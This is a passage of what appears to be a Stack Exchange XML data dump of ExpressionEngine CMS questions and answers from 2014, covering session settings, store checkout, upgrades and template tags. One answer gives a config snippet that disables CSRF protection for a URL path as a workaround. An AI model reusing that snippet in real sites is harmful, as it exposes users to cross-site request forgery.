  <row Id="21399" PostTypeId="2" ParentId="20687" CreationDate="2014-04-23T17:54:47.153" Score="0" Body="&lt;p&gt;I wound up reverting the method &lt;code&gt;_setup_session_length&lt;/code&gt; in Session.php to what it was before EE 2.8 so I can keep using the config variables -- though I still get the new javascript prompt on the CP end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For convenience sake I'll leave the code here (if this is a problem, please by all means edit/let me know). The &lt;code&gt;*_session_ttl&lt;/code&gt; config variables are in seconds, you would throw those in your config.php or bootstrap e.g. as &lt;code&gt;$config['user_session_ttl'] = 9001;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _setup_session_length()&#xA;{&#xA;    $u_item = ee()-&amp;gt;config-&amp;gt;item('user_session_ttl');&#xA;    $cp_item = ee()-&amp;gt;config-&amp;gt;item('cp_session_ttl');&#xA;&#xA;    $this-&amp;gt;cpan_session_len = ($cp_item !== FALSE) ? $cp_item : $this-&amp;gt;cpan_session_len;&#xA;    $this-&amp;gt;user_session_len = ($u_item !== FALSE) ? $u_item : $this-&amp;gt;user_session_len;&#xA;&#xA;    return (REQ == 'CP') ? $this-&amp;gt;cpan_session_len : $this-&amp;gt;user_session_len;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-04-23T17:54:47.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21400" PostTypeId="2" ParentId="21393" CreationDate="2014-04-23T17:59:55.923" Score="0" Body="&lt;p&gt;Can you post your checkout template code? Do you have something like this in checkout2.html?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;infield {if error:order_email}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;order_email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;    {field:order_email} {error:order_email}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastActivityDate="2014-04-23T17:59:55.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21401" PostTypeId="2" ParentId="21232" CreationDate="2014-04-23T18:19:39.260" Score="3" Body="&lt;p&gt;I wouldn't recommend this but in cases where you have no choice, e.g. you cannot tweak the code in an app in time or something to that effect, you can opt to conditionally disable secure forms in your config.php or bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Make an exception to make AJAX forms app-compatible&#xA;// EE 2.7.x introduced mandatory XIDs even for AJAX, but an app won't have an initial valid XID to begin with&#xA;if (substr($_SERVER['REQUEST_URI'], 0, 13) == '/app/post/url')&#xA;{&#xA;  //$config['secure_forms'] = 'n'; // Deprecated and obsolete in EE 2.8&#xA;  $config['disable_csrf_protection'] = 'y'; // Introduced in EE 2.8, XID replaced by csrf_token&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-04-23T18:19:39.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21402" PostTypeId="2" ParentId="21393" CreationDate="2014-04-23T18:24:42.397" Score="0" Body="&lt;p&gt;You might try removing order_email from your &lt;code&gt;require&lt;/code&gt; parameter: the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html&quot; rel=&quot;nofollow&quot;&gt;checkout docs&lt;/a&gt; imply it's already run through validation and maybe requirement too.&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2014-04-23T18:24:42.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21403" PostTypeId="1" CreationDate="2014-04-23T18:25:51.963" Score="0" ViewCount="30" Body="&lt;p&gt;How do I hide files from the search? Files are showing up on the results page, but the extension is stripped, so they return a 404. I'd like to either hide the files, or fix the URL returned by search to include the extension. By &quot;files&quot; I mean uploaded files.Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2014-04-23T18:25:51.963" Title="Hide Files From Search" Tags="|search|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21404" PostTypeId="2" ParentId="21392" CreationDate="2014-04-23T18:55:37.263" Score="0" Body="&lt;p&gt;Personally I've been using a custom bootstrap which in the past caused a lot of issues when updating. I fixed this by keeping a copy of the config.php and database.php that EE itself generates upon install/upgrades and using those when upgrading. But before that I would get different types of errors including a blank page after trying to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did to troubleshoot that was go through the update files and see what EE was trying to do, e.g. add or alter tables in the database, and see which of those were completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It generally got stuck in between versions so I would manually update the version in the config and it would pick up from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably try those same steps, look at what the upgrade is trying to accomplish and see where it succeeded, where it hung up, etc.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-04-23T18:55:37.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21405" PostTypeId="2" ParentId="21393" CreationDate="2014-04-23T19:13:28.193" Score="1" Body="&lt;p&gt;The reason was because I had a blank input field for order_email in the form, but hidden from view. This field is only used for those paying with Paypal, not with a CC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the form contained order_email at the top of the page, it wasn't passing through to the database because this was blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved it by passing the value as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value=&quot;{order_email}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another option here, as Adrian pointed out below: Remove this email field all together since the email is remembered from the previous page. I added it because I thought this email field was required for paypal to process the order and had to be the users paypal account email address (I was light on the coffee this day). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Order email, is order email, the email associated with the order - and has nothing to do with the users paypal account email address. Paypal handles that. The &quot;order_email&quot; field is required for all gateways... It just tells store this field is valid and to process the order with the configured gateway. With the Paypal Express gateway, I simply thought the order_email had to be the email associated with Paypal - and gave the user the option to add a different email when they chose paypal as a payment method. Completely unnecessary. I opted for removing the second email field, and now display a simple &quot;pay with paypal&quot; button on the page. &lt;/p&gt;&#xA;" OwnerUserId="2989" LastEditorUserId="2989" LastEditDate="2014-04-24T17:23:22.693" LastActivityDate="2014-04-24T17:23:22.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21406" PostTypeId="2" ParentId="21374" CreationDate="2014-04-23T19:51:28.530" Score="1" Body="&lt;p&gt;For now, image manipulations are only applied on upload. Applying custom manipulations on the fly isn't possible at the moment.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-04-23T19:51:28.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21407" PostTypeId="1" AcceptedAnswerId="21410" CreationDate="2014-04-23T20:36:44.040" Score="0" ViewCount="123" Body="&lt;p&gt;I just upgraded a site from EE 2.5.5 to 2.8.1 and I get this error after I try to login:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to load the requested class: services_json&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have searched and found reference to Zoo Members and Field Editor, neither of which I have on this site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some additional searching and found a file in Expressionengine/libraries/services_json.php in the 2.5.5 install files that I backed up. However, I can't find anything that would reference this file. If I add the file I can log in but I get a white screen, without the file I get the error message. Either way I am toast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insight are most welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-04-23T21:30:52.560" LastActivityDate="2014-04-23T22:20:27.040" Title="Upgrade to EE 2.8.1 with services_json error" Tags="|error|ee2-upgrades|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21408" PostTypeId="1" CreationDate="2014-04-23T20:53:13.580" Score="0" ViewCount="164" Body="&lt;p&gt;I'm using EE v2.8.1, Content Elements 1.6.9 and Wygwam 3.3. On my entry page, I'm receiving a blank area where the wygwam is supposed to be. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/ogs877ovbszipp5/Screenshot%202014-04-23%2016.48.34.png&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/ogs877ovbszipp5/Screenshot%202014-04-23%2016.48.34.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-04-24T13:56:02.417" Title="Content Elements + Wygwam not working" Tags="|wygwam|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21409" PostTypeId="1" CreationDate="2014-04-23T21:20:44.887" Score="1" ViewCount="109" Body="&lt;p&gt;We're working on a site where we need to present a multi page article within the front end of the site. Currently this is composed of a number of entries which are set as 'Structure Entries' inside a node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely that there will be many more articles like this so I'm not comfortable using Structure as a means of 'organising the entries' and beyond the association with each other by nature of their position in the structure tree there is nothing else to 'hold them together' or 'denote an order'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Articles will vary in length so the native EE approach of a custom field per page isn't going to cut it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had thought of perhaps using a Pixel &amp;amp; Tonic Matrix field or Krea Content Elements field, maybe creating a 'custom content element fieldtype' which is a 'Page Break'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love to hear how others have tackled such a challenge?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-04-24T13:51:18.213" Title="Best content management approach to multi page articles in ExpressionEngine" Tags="|matrix|pages|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21410" PostTypeId="2" ParentId="21407" CreationDate="2014-04-23T22:20:27.040" Score="2" Body="&lt;p&gt;I know this one was very obscure and thereby avoided by most readers, but in the event that anyone out there has the same experience, here is the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were several add-ons that reference /expressionengine/libraries/services_json.php in EE 2.5.5, including Freeform and devot:ee monitor. I had to update these modules to the latest releases BEFORE updating Expression Engine to 2.8.1, otherwise they were searching in vain for the services_json.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After updating the modules, the upgrade went without a hitch.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-04-23T22:20:27.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21412" PostTypeId="1" CreationDate="2014-04-23T22:51:15.680" Score="1" ViewCount="606" Body="&lt;p&gt;I have an empty stash list, as expected.  I need to output some alternative content if the list is empty.  I've tried using conditionals and {count} but to no prevail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can do this.  I am using Stash and Expresso Store.  I need to allow users to seamlessly switch between purchased and purchased products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id='CURRENT_USER' order_by='order_date' sort='desc'}&#xA;  {items}&#xA;    {exp:channel:entries entry_id=&quot;{entry_id}&quot; channel=&quot;series&quot;}&#xA;        {exp:stash:set_list name=&quot;series_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; context=&quot;{url_title}&quot;}&#xA;           {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;              {stash:item_title}{title}{/stash:item_title}&#xA;                {exp:stash:set_list:nested name=&quot;series_list_episodes&quot; parse_tags=&quot;yes&quot; context=&quot;{entry_id}&quot;}&#xA;                        {series_episodes}&#xA;                           {stash:episode_title}{series_episodes:title}{/stash:episode_title}&#xA;                           {stash:episode_number}{series_episodes:episode_number}{/stash:episode_number}&#xA;                           {stash:episode_teaser}{series_episodes:series_episodes:episode_teaser}{/stash:episode_teaser}&#xA;                           {stash:episode_duration}{series_episodes:episode_duration}{/stash:episode_duration}&#xA;                           {series_episodes:episode}&#xA;                              {stash:desktop_url}{episode:desktop_url}{/stash:desktop_url}&#xA;                              {stash:mobile_url}{episode:mobile_url}{/stash:mobile_url}&#xA;                              {stash:placeholder_image}{episode:placeholder_image}{/stash:placeholder_image}&#xA;                            {/series_episodes:episode}&#xA;                        {/series_episodes}&#xA;               {/exp:stash:set_list:nested}&#xA;            {/exp:stash:set_list}&#xA;        {/exp:channel:entries}&#xA;  {/items}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;series_list&quot; context=&quot;{segment_3}&quot;}&#xA;    {!-- if no results/list empty load another product --}&#xA;    {!-- chuff removed --}&#xA;  {item_title}&#xA;    {exp:stash:get_list:nested name=&quot;series_list_episodes&quot; context=&quot;{item_entry_id}&quot; prefix=&quot;nested&quot; }&#xA;                {!-- bla bla this all works nicely, just stash variables used in the embed --}&#xA;    {/exp:stash:get_list:nested} &#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little background to my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a ecommerce site that gives users access to some streaming video content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From within one template I need to be able to list products which have been purchased and products which haven't been purchased. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the list above, I was hoping to return some content based on the {segment_3} value, if there is no content, so rather than using the exp:store:orders loop, I'd use the standard channel entries loop with the url_title set to {segment_3} (i've not coded this part yet, Just at the stage where I need to return 'something' if the list returns nothing.&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="730" LastEditDate="2014-04-24T08:50:08.420" LastActivityDate="2014-04-24T15:38:54.123" Title="How to deal with empty stash lists?" Tags="|expresso-store|stash|2.8|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21413" PostTypeId="1" AcceptedAnswerId="21443" CreationDate="2014-04-23T23:28:53.143" Score="0" ViewCount="30" Body="&lt;p&gt;If we wanted to allow members to list products for sale similarly to Amazon and take a transaction fee, would that be possible with Carthrob?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-04-24T16:51:31.133" Title="Can site members add products to Carthrob store?" Tags="|cartthrob|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21416" PostTypeId="1" CreationDate="2014-04-24T06:33:34.463" Score="0" ViewCount="98" Body="&lt;p&gt;I have a strange thing in EE 2.8.1.  I want to show a list of all categories in category_group=“1” but nothing won’t show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 category groups&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID 1 - with 105 categories, top &amp;amp; sub level, Channel = &quot;Producten&quot;&lt;/li&gt;&#xA;&lt;li&gt;ID 2 - with 2 categories, Channel = &quot;Nieuws&quot; &lt;/li&gt;&#xA;&lt;li&gt;ID 3 - with 1 categorie, Channel = &quot;Producten&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When i use for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;producten&quot; dynamic=&quot;no&quot;}&#xA;{category_name}&#xA;{/exp:channel:categories}&#xA;&#xA;{exp:channel:categories category_group=&quot;2&quot; dynamic=&quot;no&quot;}&#xA;{category_name}&#xA;{/exp:channel:categories}&#xA;&#xA;{exp:channel:categories category_group=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;{category_name}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Example One: I just get the one category from ID 3 and nothing from ID 1&lt;/li&gt;&#xA;&lt;li&gt;Example Two: Just works great, nothing special &lt;/li&gt;&#xA;&lt;li&gt;Example Three: Nothing happend, but why?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So i don’t see what can be the problem, anybody else have a idea? Looks like EE does not see Group 1.&lt;/p&gt;&#xA;" OwnerUserId="656" LastActivityDate="2014-04-24T14:12:07.483" Title="Categories of a category_group won’t show" Tags="|categories|mysql|category-group|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21418" PostTypeId="2" ParentId="18237" CreationDate="2014-04-24T07:12:30.847" Score="0" Body="&lt;p&gt;I had a similar problem and it turned out there was a space before my secret key, so watch out for that. Maybe Store could strip spaces from API keys as a precaution?&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-04-24T07:12:30.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21419" PostTypeId="2" ParentId="19721" CreationDate="2014-04-24T07:16:32.213" Score="1" Body="&lt;p&gt;Although I haven't used the add-on &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt;, I am pretty sure this would do the job. Bonus it's free and has a great company behind it!&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-04-24T07:16:32.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21420" PostTypeId="2" ParentId="11560" CreationDate="2014-04-24T08:02:17.523" Score="2" Body="&lt;p&gt;I figured it out. The &lt;code&gt;Browse Server&lt;/code&gt; button only appears when the upload directory belongs to the current site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Wygwam settings you can create different configurations. By default there are the &lt;code&gt;Basic&lt;/code&gt; and &lt;code&gt;Full&lt;/code&gt; configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the clone function to duplicate the configuration you're using now. For me this is &lt;code&gt;Basic&lt;/code&gt;. After you clone it you can rename it to &lt;code&gt;Basic {site_name}&lt;/code&gt; and change the `Upload Directory to a directory that belongs to the matching site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can go to the channel field and change &lt;code&gt;Editor Configuration&lt;/code&gt; to your newly made configuration. &lt;/p&gt;&#xA;" OwnerUserId="2231" LastActivityDate="2014-04-24T08:02:17.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21421" PostTypeId="1" AcceptedAnswerId="21800" CreationDate="2014-04-24T08:18:08.847" Score="1" ViewCount="50" Body="&lt;p&gt;I copied the example in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/comment/#comment-notification-links-tag&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; to display&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:notification_links}&#xA;    {if subscribed}&#xA;            &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{unsubscribe_link}&quot;&amp;gt;Unsubscribe to comment notification for this entry.&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;    {if:else}&#xA;            &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{subscribe_link}&quot;&amp;gt;Subscribe to comment notification for this entry.&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;    {/if}&#xA;{/exp:comment:notification_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, nothing is outputted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this supposed to be inside a {exp:comment:entries} or {exp:channel:entries} tag?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-05-08T20:29:14.557" Title="{exp:comment:notification_links} not displaying anything" Tags="|comments|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21422" PostTypeId="2" ParentId="19330" CreationDate="2014-04-24T08:27:15.907" Score="2" Body="&lt;p&gt;No. Create your own using Grid or Matrix fieldtype. Define the values in a select dropdown, then in your template code have each value correlate to a specific icon with conditionals.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-24T08:27:15.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21423" PostTypeId="2" ParentId="21205" CreationDate="2014-04-24T08:36:18.677" Score="2" Body="&lt;p&gt;This is bug with ckeditor upon which WYGWAM is built. You have to update to at least WYGWAM 3.3 which fixes all IE11 issues per this comment: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/20227/69&quot;&gt;https://expressionengine.stackexchange.com/a/20227/69&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-04-24T08:36:18.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21425" PostTypeId="1" AcceptedAnswerId="21467" CreationDate="2014-04-24T10:35:17.503" Score="4" ViewCount="452" Body="&lt;p&gt;I need to move all playa relationships to EE relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this?&#xA;I have not been able to find anything online explaining a process or how to approach this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I know is I don't want to just change the field type.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-25T14:17:26.347" Title="How to move all Playa relationship to EE relationships" Tags="|playa|relationships|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21426" PostTypeId="1" AcceptedAnswerId="21430" CreationDate="2014-04-24T11:17:01.637" Score="2" ViewCount="52" Body="&lt;p&gt;Is there any way to use embedded templates in Expresso's email templates? When I try it seems to create a blank email...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Frank&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2014-04-24T13:03:54.127" Title="Use embedded template in Expresso's email template" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21427" PostTypeId="1" AcceptedAnswerId="21518" CreationDate="2014-04-24T12:25:56.320" Score="0" ViewCount="41" Body="&lt;p&gt;Is possible to publish an entry belong to domain1 in domain2 simply adding a channel field to that entry?&#xA;Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Publish on&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;domain1&lt;/li&gt;&#xA;&lt;li&gt;domain2&lt;/li&gt;&#xA;&lt;li&gt;both domain1 and domain2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I short can I have only one entries' database and choose where to publish them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-04-28T20:57:36.207" Title="Admin two site with Multiple Site Manager" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21428" PostTypeId="1" CreationDate="2014-04-24T12:40:33.713" Score="1" ViewCount="36" Body="&lt;p&gt;We've built a custom report-system for a client, fetching data from the &quot;exp_store_orders&quot;-table and displaying them to admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I updated the site to EE 2.8.1 and Store 2.3.1. After ironing out some wrinkles everything seemed fine. Except the PHP-script generating the report. We got a PHP-error: &lt;code&gt;Message: Invalid argument supplied for foreach()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives?&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2014-04-24T12:40:33.713" Title="Expresso Store changed column name in database" Tags="|expresso-store|database|updating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21429" PostTypeId="2" ParentId="21428" CreationDate="2014-04-24T12:40:33.713" Score="1" Body="&lt;p&gt;I'll tell you what gives: the first column in the database-table had been renamed. Used to be &quot;order_id&quot;, now it's called plain &quot;id&quot;. Changed the query and everything worked again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I couldn't find any information on this from Exp-resso, isn't renaming stuff in the database a big deal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also mention that this is one of the few times we've gone outside of native EE- and addon-functionality, and we seldom look closely at the database...&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2014-04-24T12:40:33.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21430" PostTypeId="2" ParentId="21426" CreationDate="2014-04-24T13:03:54.127" Score="0" Body="&lt;p&gt;I don't believe so. It's not a normal EE template. &lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-24T13:03:54.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21431" PostTypeId="1" CreationDate="2014-04-24T13:05:19.243" Score="1" ViewCount="29" Body="&lt;p&gt;Is is possible to change this message so it is more user friendly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do it per-field rather than globally.&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-04-25T14:45:17.503" Title="matrix - no rows exist please add one" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21433" PostTypeId="1" CreationDate="2014-04-24T13:45:23.627" Score="0" ViewCount="65" Body="&lt;p&gt;Is there any way in expresso to check if the current user has purchased a particular product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like, &lt;code&gt;{if purchased}you own this{if:else}you don't own this{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="1350" LastEditDate="2015-03-26T13:35:07.730" LastActivityDate="2015-03-26T15:30:38.317" Title="Check to see if a product has been purchased - Expresso" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21434" PostTypeId="2" ParentId="21409" CreationDate="2014-04-24T13:51:18.213" Score="2" Body="&lt;p&gt;I think your idea of using Matrix rows or Krea Content Elements to set up separate pages is a good one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, I've just used a single Wygwam field in conjunction with &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/simple-pagination&quot; rel=&quot;nofollow&quot;&gt;Simple Pagination.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Simple Pagination plugin makes it possible to split up an entry into an unlimited number of pages by simply entering {pagebreak}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suppose the nice thing about Simple Pagination compared to a Matrix or Content Elements approach is that the editor could very quickly and easily change the position of page breaks. With a Matrix or Content Elements handling separate pages you'd have to shuffle content between rows in order to change where breaks in your content occur. On the other hand, the Matrix or Content Elements approach is probably a little more client-proof (no chance for typos in entering the page break trigger).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever route you take, since you are using the Structure module you'll inevitably need to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; to prevent the pagination URLs from returning a 404 (ie, use Freebie to set the pagination keyword to an &quot;ignored&quot; and &quot;breaking&quot; segment).&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-24T13:51:18.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21435" PostTypeId="2" ParentId="21408" CreationDate="2014-04-24T13:56:02.417" Score="1" Body="&lt;p&gt;The issue was (even though it wasn't being used), I had another wysiwyg available to use alongside the wygwam. Per P&amp;amp;T docs, this causes an issue. I simply removed the wysiwyg from the field type options and this fixed the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/blog/wygwam-3&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/blog/wygwam-3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-04-24T13:56:02.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21436" PostTypeId="2" ParentId="21416" CreationDate="2014-04-24T14:12:07.483" Score="2" Body="&lt;p&gt;You need to specify the channel parameter, and you can leave out dynamic=&quot;no&quot; because that's not a parameter for this tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If specifying the channel parameter does not work,try adding the following parameters: &#xA;status=&quot;not closed&quot; &#xA;show_future_entries=&quot;yes&quot;&#xA;show_expired=&quot;yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; status=&quot;not closed&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;{category_name}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the tag then outputs your categories, the reason they were not showing up is because the entries with those categories did not meet the default conditions i.e. entries with a status of open with an entry date in the past which have not expired. So you can then adjust the parameters to suit your particular entries e.g. omit the 